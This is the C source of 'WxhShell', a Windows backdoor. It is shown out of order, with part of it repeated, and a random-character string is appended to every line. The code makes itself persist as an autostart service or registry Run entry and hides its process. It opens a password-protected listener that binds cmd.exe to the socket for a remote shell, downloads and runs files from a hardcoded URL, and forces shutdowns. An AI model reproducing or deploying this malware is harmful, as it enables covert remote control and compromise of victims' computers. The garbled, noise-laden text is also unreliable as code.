    if(Boot(SHUTDOWN)) +k4 SN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g+98G8 R  
    else { e.IKmH]z  
    closesocket(wsh); -dn\*n5  
    ExitThread(0); W}U-u{Z  
    } va/$dD9  
    break; icPg<>TQ  
    } 2!35Tj"RFE  
  // 获取shell Sy<s/x^`  
  case 's': { 4W''j[Y/  
    CmdShell(wsh); ,,>b=r_r&  
    closesocket(wsh); V5{^R+_)Ya  
    ExitThread(0); kWgZIkY  
    break; C%csQ m  
  } B)M& FO  
  // 退出 $}/ !mXI5  
  case 'x': { bLysUj5[5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^3L6mOoA  
    CloseIt(wsh); ^^I3%6UY  
    break; /8SQmh$+e  
    } 6*<=(SQI  
  // 离开 p ft6 @ 'q  
  case 'q': { |[VtYV _{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >"Z^8J  
    closesocket(wsh); [J|)DUjt  
    WSACleanup(); THM\-abz  
    exit(1); m18If  
    break; xNh#=6__9  
        } dik+BBu5z  
  } N@>,gm@UU  
  } qi\!<clv  
Sh=Px9'i  
  // 提示信息 YpT x1c-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o0p%j4vac  
} t1)b26;  
  } A qKl}8  
q1Si*?2W  
  return; s}d1 k  
} S3=M k~_&  
,xew3c'(W  
// shell模块句柄 b&;1b<BwD  
int CmdShell(SOCKET sock) y4HOKJxI  
{ D %`64R  
STARTUPINFO si; D/w4u;E@  
ZeroMemory(&si,sizeof(si)); ? 5qo>W<7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RrkS!E[C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  l+.E'   
PROCESS_INFORMATION ProcessInfo; D@i,dPz5Zl  
char cmdline[]="cmd"; [UVxtMJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QM1-w^  
  return 0; |yi3y `f  
} Ok+zUA[Wu  
'|b {  
// 自身启动模式 q9RCXo>Y+1  
int StartFromService(void) T{={uzQeJJ  
{ u":D{+wC |  
typedef struct ^IxT.g  
{ B8^tIq  
  DWORD ExitStatus; 3:i4DBp,i  
  DWORD PebBaseAddress; bUC-}  
  DWORD AffinityMask; fn zj@_{|  
  DWORD BasePriority; iAX\F`  
  ULONG UniqueProcessId; j w)Lofn  
  ULONG InheritedFromUniqueProcessId; ~a[]4\ m;  
}   PROCESS_BASIC_INFORMATION; E/ <[G?  
8=!M0i  
PROCNTQSIP NtQueryInformationProcess; ?=]`X=g 6  
k[l+~5ix  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h94SLj]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ySmN}3~'  
FX"%  
  HANDLE             hProcess; bh&,*Y6=  
  PROCESS_BASIC_INFORMATION pbi; @^y/V@lDm  
*hAeA+:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G qI^$5?  
  if(NULL == hInst ) return 0; 2hV#3i  
{4 !%'~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 22\Buk}?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Tv<iHHp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C+Wb_  
\^kyC1  
  if (!NtQueryInformationProcess) return 0; ^lT$D8  
aW7{T6.,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )^uLZMNaI  
  if(!hProcess) return 0; $jb0/  
#D3e\(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hw5\~!FX  
0}qij  
  CloseHandle(hProcess); />XfK,c-  
"_ b Sy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PNXZ3:W  
if(hProcess==NULL) return 0; J.:"yK""  
.Lo$uKsW$l  
HMODULE hMod; /d5_-AB(v  
char procName[255]; a\\B88iRRZ  
unsigned long cbNeeded; 4@|K^nT`  
-vI?b#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .b]g# Du=  
Tk9*@kqv  
  CloseHandle(hProcess); PGMu6$  
C8cB Lsa[J  
if(strstr(procName,"services")) return 1; // 以服务启动 iYA06~ d  
|v8>22y  
  return 0; // 注册表启动 9u1)Kr=e  
} )_b #c+  
@QtJ/("&WC  
// 主模块 /a6\G.C5  
int StartWxhshell(LPSTR lpCmdLine) *}3e'0`  
{ jK\2y|&&c  
  SOCKET wsl; K;G1cFFyG  
BOOL val=TRUE; f3U#|(%(*  
  int port=0; A\ze3fmV  
  struct sockaddr_in door; bslv_OxJ  
jHBn^Nly  
  if(wscfg.ws_autoins) Install(); mwCNfwb:  
-B$oq8)n*  
port=atoi(lpCmdLine); US'X9=b_  
OekcU% C  
if(port<=0) port=wscfg.ws_port; Kwfrh?  
WUAjb,eo  
  WSADATA data; knpb$eX4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &6,GX7]Fo  
*%'4.He7V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #O^H? 3Q3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %|Gi'-'|b$  
  door.sin_family = AF_INET; YWM$%   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zY(*Xk  
  door.sin_port = htons(port); .t xgb  
j*Q/vY!T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gp$[u4-6M6  
closesocket(wsl); Gu~y/CE'  
return 1; N2;T\xx,  
} |A 7Yv  
:D-d`OyjG>  
  if(listen(wsl,2) == INVALID_SOCKET) {  b#P ,  
closesocket(wsl); `?rPs8+R  
return 1; @fT*fv   
} p{!aRB%  
  Wxhshell(wsl); Vlce^\s;  
  WSACleanup(); (iGk]Rtzt  
SS O$.rp  
return 0; Iqe4O~)  
A2Rr*e  
} b0x9}  
Xgd!i}6Q  
// 以NT服务方式启动 {8Hrb^8!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 17H_>a\`  
{ 1 @E<5rp o  
DWORD   status = 0; 5h+g^{BE  
  DWORD   specificError = 0xfffffff; M\,0<{  
&pK1S>t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Pp:(PoH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?;+=bKw0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;:cU/{W  
  serviceStatus.dwWin32ExitCode     = 0; ,\[&%ph  
  serviceStatus.dwServiceSpecificExitCode = 0; 4eYj.=I  
  serviceStatus.dwCheckPoint       = 0; R8Lp8!F'  
  serviceStatus.dwWaitHint       = 0; iYHD:cg)~  
=bZ>>-<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fV Ah</aZ  
  if (hServiceStatusHandle==0) return; 2y#4rl1Utx  
C#p$YQf  
status = GetLastError(); N+b" LZc  
  if (status!=NO_ERROR) :doP66["!  
{ sBu=@8R]y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mR[J Xh9s  
    serviceStatus.dwCheckPoint       = 0; ?nB).fc  
    serviceStatus.dwWaitHint       = 0; f_9%kEXICt  
    serviceStatus.dwWin32ExitCode     = status; N|z-s  
    serviceStatus.dwServiceSpecificExitCode = specificError; '7 6}6G%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nBaY|  
    return; q*@7A6:FV>  
  } 5IBe;o  
E0>4Q\n{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @;fdf3ian  
  serviceStatus.dwCheckPoint       = 0; ov#/v\|0  
  serviceStatus.dwWaitHint       = 0; 4cr >sz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W4QVWn %3  
} =! 9+f  
}a"T7y23  
// 处理NT服务事件,比如:启动、停止 0D/j2cT("k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k:Uyez  
{ p44d&9  
switch(fdwControl) 6fY(u7m|p  
{ 2hw3+ o6  
case SERVICE_CONTROL_STOP: =YB3^Z  
  serviceStatus.dwWin32ExitCode = 0; BGodrb1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wP6~HiC  
  serviceStatus.dwCheckPoint   = 0; $oH?oD1  
  serviceStatus.dwWaitHint     = 0; PsEm(.z  
  { $9+}$lpPd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IcoK22/  
  } {w(6Tc  
  return; 7cr+a4T33  
case SERVICE_CONTROL_PAUSE: T}$1<^NK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tKo ^A:M  
  break; un6grvxr  
case SERVICE_CONTROL_CONTINUE: {LbcG^k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Od>Ta_  
  break; SvAz9>N4  
case SERVICE_CONTROL_INTERROGATE: :'f#0ox  
  break; aa.EtKl  
}; S$%T0~PR~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #v=hiL  
} ]"q)X{G(+  
Q68&CO(rE  
// 标准应用程序主函数 W~POS'1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1V+a;-?  
{ v~?d7p {  
z\oq b) a  
// 获取操作系统版本 "7JO~T+v  
OsIsNt=GetOsVer(); S@z$,}Yc`<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d\3L.5]X  
xQ* U9Wt;T  
  // 从命令行安装 E&#AX:  
  if(strpbrk(lpCmdLine,"iI")) Install(); vy,ER<  
FaPX[{_E  
  // 下载执行文件 Jq l#z/z  
if(wscfg.ws_downexe) { =~?2i)-mC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?M;2H {KG:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^p|MkB?uM  
} FdKp@&O+1  
@%O"P9;s  
if(!OsIsNt) { `]FA} wC  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vu*yEF}  
HideProc(); &AU%3b  
StartWxhshell(lpCmdLine); ` *&*jdq&i  
} PnFU{N  
else xA`Q4"[I  
  if(StartFromService()) (NFq/w%  
  // 以服务方式启动 q<@f3[A  
  StartServiceCtrlDispatcher(DispatchTable); /wljb b/s  
else ?>1AT ==wI  
  // 普通方式启动 7;5?2)+=6  
  StartWxhshell(lpCmdLine); T6Z2 #  
a^~T-;_V  
return 0; UkG|5P`  
} bVQLj}%   
Lf3Ri/@ p  
>O&(G0!N+}  
* Od_Cl  
=========================================== k*J}/HO  
V);{o>%.K  
>e/;  
Cj _Q9/  
ZK27^oG  
`5r*4N<  
" Q|@!zMy  
%+L:Gm+^g#  
#include <stdio.h> f h)Cz)  
#include <string.h> I')URk[  
#include <windows.h> 2Y(P hw2%  
#include <winsock2.h> ~x)Awdlu  
#include <winsvc.h> QjWv?tm  
#include <urlmon.h> ' aBX>M  
u&I?LZ-=,  
#pragma comment (lib, "Ws2_32.lib") TKx.`Cf m  
#pragma comment (lib, "urlmon.lib") 7ib~04  
_SY<(2s]B  
#define MAX_USER   100 // 最大客户端连接数 \tye:!a?;@  
#define BUF_SOCK   200 // sock buffer _UT>,c;h  
#define KEY_BUFF   255 // 输入 buffer kUUN2  
KqP! ={>"  
#define REBOOT     0   // 重启 ]ctUl #j  
#define SHUTDOWN   1   // 关机 ZK[4n5}  
SZpBbX$  
#define DEF_PORT   5000 // 监听端口 Uq<c+4)5  
~ k/'_1)c  
#define REG_LEN     16   // 注册表键长度 . PAR  
#define SVC_LEN     80   // NT服务名长度 X.YMb .\<  
uW@o,S0:  
// 从dll定义API w26x)(7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e 9p+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t93iU?Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wfE%` 1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z{#;my*X|  
B%~D`[~?  
// wxhshell配置信息 \@%sX24D  
struct WSCFG { ~-dL #;  
  int ws_port;         // 监听端口 sPKyg  
  char ws_passstr[REG_LEN]; // 口令 9gS.G2  
  int ws_autoins;       // 安装标记, 1=yes 0=no B^{87YR  
  char ws_regname[REG_LEN]; // 注册表键名 +0)zB;~7  
  char ws_svcname[REG_LEN]; // 服务名 F~qiNV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (";{@a %  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d7O\p(M1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9[L@*7A`m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?M02|8-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UN,y /V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fxR}a,a  
]n/fB|tE  
}; l>H G|ol  
pN]$|#%q(  
// default Wxhshell configuration @X\2K?c(v  
struct WSCFG wscfg={DEF_PORT, T@. $Zpz  
    "xuhuanlingzhe", q1d'L *   
    1, q^.\8zFf  
    "Wxhshell", GiF})e}  
    "Wxhshell", 02_37!\  
            "WxhShell Service", uI'g]18Hi  
    "Wrsky Windows CmdShell Service", Dq~PxcnI  
    "Please Input Your Password: ", :zL.dJwa  
  1, ^Z 9v_qB  
  "http://www.wrsky.com/wxhshell.exe", A \6Q*VhK  
  "Wxhshell.exe" $1(FN+ M b  
    }; wd=xs7Dz<p  
Q<e`0cu|p  
// 消息定义模块 #h#Bcv0 Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @|2}*_3\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %5zztReI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k*;2QED  
char *msg_ws_ext="\n\rExit."; /G>reG,G  
char *msg_ws_end="\n\rQuit."; A{7N#-h_  
char *msg_ws_boot="\n\rReboot..."; Vu6p l  
char *msg_ws_poff="\n\rShutdown..."; 7%(|)3"V  
char *msg_ws_down="\n\rSave to "; h0N*hx   
/)ubyl]^p  
char *msg_ws_err="\n\rErr!"; SwDUg}M~  
char *msg_ws_ok="\n\rOK!"; E9Q?@'h  
-}ebn*7i\  
char ExeFile[MAX_PATH]; oc2aE:>X  
int nUser = 0; jZ'y_  
HANDLE handles[MAX_USER]; 's]+.3">L1  
int OsIsNt; AlQ!Q)y<@  
\E'Nk$V3  
SERVICE_STATUS       serviceStatus; `P`n qn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P80z@!  
[xXml On!  
// 函数声明 u&=SZX&G k  
int Install(void); ,u}n!quA  
int Uninstall(void); ,x+_/kqx  
int DownloadFile(char *sURL, SOCKET wsh); Lp \%-s#5s  
int Boot(int flag); %qzpt{'?<  
void HideProc(void); ;z9(  
int GetOsVer(void); Qa,^;hZWS  
int Wxhshell(SOCKET wsl); !Xwp;P=  
void TalkWithClient(void *cs); y*M,&,$  
int CmdShell(SOCKET sock); '_n{+eR74  
int StartFromService(void); ,i2%FW  
int StartWxhshell(LPSTR lpCmdLine); ?l_>rSly5  
o8P 5C4y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;8~`fK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z_qs_/y  
b; SFnZa8  
// 数据结构和表定义 S.+)">buH  
SERVICE_TABLE_ENTRY DispatchTable[] = V*l0| ,9  
{ 4/{Io &|  
{wscfg.ws_svcname, NTServiceMain}, {Izg1 N  
{NULL, NULL} Z6&s 6MF  
}; m_H$fioha,  
Y2Mti- \  
// 自我安装 {uO8VL5+Qx  
int Install(void) `h M:U  
{ 's$pr#V  
  char svExeFile[MAX_PATH]; Gvt.m&_  
  HKEY key; ->}K-n ),  
  strcpy(svExeFile,ExeFile); -A9 !Y{Z  
\n850PS  
// 如果是win9x系统,修改注册表设为自启动 ~?vm97l  
if(!OsIsNt) { ^(8 i` `V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uNnwz%w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h*hV  
  RegCloseKey(key); asR6,k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nJ4h9`[>V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uL b- NxQ-  
  RegCloseKey(key); 2 c'=^0:  
  return 0; iQ-;0<=G  
    } _]tR1T5e  
  } w;' F;j~  
} 76)(G/  
else { ]t1)8v2w>  
W.\HfJ74  
// 如果是NT以上系统,安装为系统服务 Qd!;CoOmZs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tZa)sbz  
if (schSCManager!=0) 5vY h~|  
{ )1j~(C)E8  
  SC_HANDLE schService = CreateService 5"y p|Yl  
  ( OP2!lEs  
  schSCManager, $t 1]w]}d  
  wscfg.ws_svcname, Dt1{]~30  
  wscfg.ws_svcdisp, g$dL5N7  
  SERVICE_ALL_ACCESS, dWD,iO_"@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]qXHalHY  
  SERVICE_AUTO_START, p/lMv\`5  
  SERVICE_ERROR_NORMAL, WGG|d)'@  
  svExeFile, U3kf$nbV/J  
  NULL, 1y0.tdI(  
  NULL, h%+8}uywZ  
  NULL, 'cw0FpQ;  
  NULL, ]vQo^nOo  
  NULL ADv a@P  
  ); ~JLqx/[|s  
  if (schService!=0) ; tvB{s_  
  { b daZ{5^{  
  CloseServiceHandle(schService); r-N2*uYtu  
  CloseServiceHandle(schSCManager); bHS2;K~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {K3\S 0L  
  strcat(svExeFile,wscfg.ws_svcname); 4N$s vA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J@Zm8r<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0A?w,A`"  
  RegCloseKey(key); nQ$N(2<Fe  
  return 0; 9d[0i#`:q  
    } ;xB"D0~,1  
  } ?783LBe  
  CloseServiceHandle(schSCManager); >j`*-(`2fa  
} ~BS*x+M  
} i $I|JJJ  
+o'. !sRH  
return 1; y\0^c5}  
} w,}}mC)\*  
BLaX p0  
// 自我卸载 /WHhwMc!  
int Uninstall(void) >P0AGZ  
{ /0o 2  
  HKEY key; "apv)xdW  
FJU)AjS~  
if(!OsIsNt) { bLV@Ts  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !zJ.rYZ=g`  
  RegDeleteValue(key,wscfg.ws_regname); !@YYi[Gk  
  RegCloseKey(key); C>K/C!5?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ok6e=c '  
  RegDeleteValue(key,wscfg.ws_regname); ~36c0 =  
  RegCloseKey(key); FwW%@Y  
  return 0; ]#:xl}'LS  
  } Y}?@Pm drz  
} OT *W]f  
} aSF&^/j  
else { %[Ds-my2  
@H_LPn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &pba~X.u  
if (schSCManager!=0) wcL0#[)  
{ 4Dd9cG,lN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S}< <jI-z  
  if (schService!=0) n9J>yud|  
  { >u/yp[Ky  
  if(DeleteService(schService)!=0) { qt:->yiq+  
  CloseServiceHandle(schService); ]_pL79y  
  CloseServiceHandle(schSCManager); 3+$O#>  
  return 0; ]Aluk|"`U  
  } 5Y&@ :Y  
  CloseServiceHandle(schService); (qG$u&  
  } 4[-9$ r  
  CloseServiceHandle(schSCManager); )Z_i[1V  
} uB^]5sqfk  
} nx +& {hn(  
W1!eY,1}  
return 1; "Jwz.,Y\  
} 2kgm)-z  
U^YPL,m1  
// 从指定url下载文件 8)tyn'~i  
int DownloadFile(char *sURL, SOCKET wsh) .cabw+& 7  
{ <5#e.w  
  HRESULT hr; Rd$<R  
char seps[]= "/"; lz*2wGI9  
char *token; $-0u`=!  
char *file; 37[C^R!1c  
char myURL[MAX_PATH]; ( 0h]<7  
char myFILE[MAX_PATH]; 8`~]9ej  
Tc*PDt0C  
strcpy(myURL,sURL); W6iIL:sp  
  token=strtok(myURL,seps); GkC88l9z  
  while(token!=NULL) S-H3UND"  
  { W!(Q_B  
    file=token; Xm-63U`w5  
  token=strtok(NULL,seps); zKutx6=aj  
  } 51,m^veO  
Ii8jY_  
GetCurrentDirectory(MAX_PATH,myFILE); =e+go ]87x  
strcat(myFILE, "\\"); B dKwWgi+a  
strcat(myFILE, file); `Qhh{  
  send(wsh,myFILE,strlen(myFILE),0); @hvq,[   
send(wsh,"...",3,0); w&gHmi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hJ@nW5CI  
  if(hr==S_OK) ^v'Lu!\f  
return 0; {8MF!CG]  
else 9e5UTJ  
return 1; PA/6l"-`3  
b1OB'P8  
} DNy)\+[  
# 9t/j`{  
// 系统电源模块 @e7+d@ O<  
int Boot(int flag) IviWS84  
{ LQjqwsuN{  
  HANDLE hToken; #?*jdN:  
  TOKEN_PRIVILEGES tkp; O?!"15  
u& Fm}/x  
  if(OsIsNt) { 6uyf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dB5DJ:$W$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zyr6Tv61U  
    tkp.PrivilegeCount = 1; ZZ(@:F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 24Fxx9 g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *8p</Q  
if(flag==REBOOT) { Vh8uE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5-*]PAC  
  return 0; 9wC; m:  
} k y98/6  
else { c>SeOnf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;GAYcVB  
  return 0; W#[!8d35$  
} f/x "yUq  
  } 1 W u  
  else { SMyg=B\x?7  
if(flag==REBOOT) { 1dcy+ !>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MlZ`g,{  
  return 0; cOQy|v`KD,  
} 9?8`" v  
else { 3^Zi/r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?q P }=nJ  
  return 0; :9b RuUm  
} >g&`g}xZQ  
} +*V; f,  
7yp*I[1Qf>  
return 1; $#r(1 Ev  
} 1N+#(<x@,  
1GdD  
// win9x进程隐藏模块 0 *\=Q$Yy  
void HideProc(void) @2gMtf?<  
{ K5SO($  
YSgF'qq\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )VT/kIq-U  
  if ( hKernel != NULL ) {/<&  
  { ho1F8TG=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b5Pn|5AVj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q6K)EwN  
    FreeLibrary(hKernel); U\ued=H  
  } F 4/Uu"J:  
R=PzR;8  
return; ^ne8~ ;Q  
} 7,TWCVap  
~|rkt`8p  
// 获取操作系统版本 5WT\0]RUa  
int GetOsVer(void) ' T]oV~H  
{ `?x$J 6p  
  OSVERSIONINFO winfo; }H=OVbQor  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Y([^N q  
  GetVersionEx(&winfo); }Kt?0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %5%Wo(W'  
  return 1; 8:xo ~Vc  
  else pC-OZ0  
  return 0; =f!M=D  
} ]aNnY?qW5  
<Z' hZ  
// 客户端句柄模块 i1\2lh$  
int Wxhshell(SOCKET wsl) BvF_9  
{ #=(op?]  
  SOCKET wsh; Ef.4.iDJrR  
  struct sockaddr_in client; fXe-U='  
  DWORD myID; ak `)>  
gf?^yP ;V  
  while(nUser<MAX_USER) ;Oy>-Ij5P  
{ - (1\ `g07  
  int nSize=sizeof(client); .h,xBT`}Ji  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KU,w9<~i(  
  if(wsh==INVALID_SOCKET) return 1; rzDJH:W{2  
4&e@>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?LI9F7n  
if(handles[nUser]==0) p8l#=]\ ;  
  closesocket(wsh); L?x?+HPY.  
else 2 -aYqMmT;  
  nUser++; sv"mba.J  
  } M%xL K7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s2~dmZ_B|_  
*GP_ut%  
  return 0; GDp p`'\  
} !T#y r)  
p^P y,  
// 关闭 socket OPW"AB J  
void CloseIt(SOCKET wsh) ,<b|@1\k  
{ _~Vz+nT  
closesocket(wsh); ~uadivli  
nUser--; S7{.liHf  
ExitThread(0); % VpBB  
} nM-SDVFM  
mndl~/  
// 客户端请求句柄 l-}5@D[  
void TalkWithClient(void *cs) UUu-(H-J  
{ *`Xx_   
}Y`<(V5:  
  SOCKET wsh=(SOCKET)cs; ?3TV:fx"X  
  char pwd[SVC_LEN];  /;6@M=6u  
  char cmd[KEY_BUFF]; ]fo^43rn{  
char chr[1]; e8mbEC(AK  
int i,j; ^!o}>ls['  
(M,VwwN  
  while (nUser < MAX_USER) { Ir"Q%>K0f  
m\M+pjz  
if(wscfg.ws_passstr) { o MkY#<Q}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3n(gfQo-o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ggc?J<Dv  
  //ZeroMemory(pwd,KEY_BUFF); w/5^R  
      i=0; D"4&9"CU  
  while(i<SVC_LEN) { V9u\;5oL  
9zYiG3 d  
  // 设置超时 NjN?RB/5  
  fd_set FdRead; L8wcH  
  struct timeval TimeOut; @[tV_Z%,b  
  FD_ZERO(&FdRead); > ' 0 ][~  
  FD_SET(wsh,&FdRead); 6h6?BQSE  
  TimeOut.tv_sec=8; wZ8 MhE  
  TimeOut.tv_usec=0; kN |5 J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]/Yy-T#@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dyiEK)$h  
"C.7;Rvkp>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Am`5&J  
  pwd=chr[0]; |( 9#vt#  
  if(chr[0]==0xd || chr[0]==0xa) { !L. K)9I  
  pwd=0; dP7Vs a+  
  break; ?4[Oh/]R  
  } SiqX1P  
  i++; }BdVD t  
    } dIpW!Pj^  
8+ F}`lLA  
  // 如果是非法用户,关闭 socket D`:d'ow~KQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uO@3vY',n  
} D&l ,SD  
UlNfI}#X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1Dya?}3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o.3YM.B#  
]]=fA 4(  
while(1) { XL PpxG  
?Wg{oB@(  
  ZeroMemory(cmd,KEY_BUFF); *UBP]w  
2k}-25xxL  
      // 自动支持客户端 telnet标准   )HX:U0  
  j=0; (e>Rot0  
  while(j<KEY_BUFF) { 4 %)N(%u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Th^(f@.w  
  cmd[j]=chr[0]; N^ s!!Sbpq  
  if(chr[0]==0xa || chr[0]==0xd) { p&sK\   
  cmd[j]=0; VkDS&g~Ws  
  break; (y~laW!  
  } MATgJ`lsy  
  j++; !3I(4?G,  
    } daB l%a=  
8HFXxpt[G  
  // 下载文件 -*%!q$:  
  if(strstr(cmd,"http://")) {  /MqXwUbO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z{pC7e5  
  if(DownloadFile(cmd,wsh)) A ,-V$[;~D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~z K@pFeH  
  else ihiuSF<NaQ  
